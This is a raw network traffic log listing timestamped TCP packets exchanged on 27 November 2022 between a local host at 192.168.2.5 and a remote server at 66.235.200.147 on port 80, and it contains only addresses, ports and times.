Nov 27, 2022 04:36:42.840500116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.840527058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840534925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.840569019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840607882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840620995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.840646982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840686083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840702057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.840725899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840764999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840804100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840816021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.840845108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840883017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840897083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.840918064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840934038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.840958118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.840996027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841010094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.841036081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841075897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841089964 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.841114998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841154099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841192007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841207027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.841229916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841269016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841283083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.841308117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841316938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.841346979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841386080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841398001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.841425896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841464996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841495037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.841505051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841545105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841583014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841598034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.841623068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841664076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841674089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.841703892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841712952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.841744900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841784000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841795921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.841823101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841865063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841875076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.841905117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841943026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841980934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.841995955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.842020035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842057943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842072010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.842096090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842108011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.842135906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842174053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842185974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.842214108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842252016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842263937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.842289925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842329025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842365980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842380047 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.842405081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842443943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842459917 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.842483044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842498064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.842525005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842562914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842575073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.842603922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842643976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842658043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.842684031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842732906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842773914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842787981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.842830896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842896938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.842901945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842950106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.842979908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.842992067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843034029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843075991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843086958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.843117952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843158960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843170881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.843200922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843208075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.843244076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843283892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843297005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.843324900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843367100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843380928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.843410015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843451977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843493938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843504906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.843537092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843578100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843591928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.843647003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.843733072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843777895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843818903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843856096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.843866110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843907118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843947887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.843967915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.843988895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844029903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844050884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.844072104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844086885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.844114065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844156027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844170094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.844198942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844243050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844258070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.844284058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844326019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844367027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844377995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.844408035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844449997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844464064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.844491959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844501019 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.844532967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844573021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844585896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.844614983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844655991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844669104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.844696999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844737053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844748974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.844779968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844820023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844863892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844875097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.844907045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844948053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844959974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.844990015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.844996929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.845031977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845072031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845082045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.845114946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845154047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845168114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.845196009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845237017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845277071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845288992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.845319033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845359087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845372915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.845417023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845422983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.845458984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845499992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845511913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.845541954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845583916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845624924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845635891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.845665932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845706940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845726967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.845748901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845766068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.845791101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845834017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845875978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845890045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.845916986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845958948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.845972061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.846002102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.846009016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.846044064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.846085072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.846096039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.846127033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.846168041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.846180916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.846210003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.846251011 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.846291065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.846302986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.846334934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.846389055 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.865339994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865385056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865411043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865436077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865462065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865487099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865511894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865535975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865556002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.865561962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865556002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.865556002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.865592003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865614891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.865614891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.865622044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865648985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865674973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865699053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865720034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.865722895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865741014 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.865753889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865780115 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.865782022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865809917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865839005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865864038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865864038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.865890026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.865890980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865919113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865942955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865968943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865982056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.865997076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.865998983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866020918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866046906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866071939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866074085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866096020 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866097927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866127014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866152048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866174936 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866175890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866199970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866204023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866230965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866255999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866281986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866281986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866302013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866311073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866338015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866363049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866364956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866390944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866416931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866441011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866442919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866458893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866471052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866497993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866523027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866524935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866553068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866580009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866604090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866605997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866630077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866631031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866657972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866683006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866708040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866708040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866728067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866734982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866763115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866789103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866816044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866817951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866837025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866842031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866869926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866919041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866930008 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.866961002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.866986036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867012024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867012978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867029905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867041111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867068052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867091894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867117882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867120981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867139101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867144108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867170095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867196083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867221117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867221117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867238998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867248058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867274046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867299080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867324114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867326021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867350101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867350101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867377043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867403030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867427111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867428064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867449999 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867522001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867547989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867573023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867579937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867599010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867624998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867650986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867651939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867670059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.867679119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867705107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867732048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.867758036 CET	80	49705	66.235.200.147	192.168.2.5
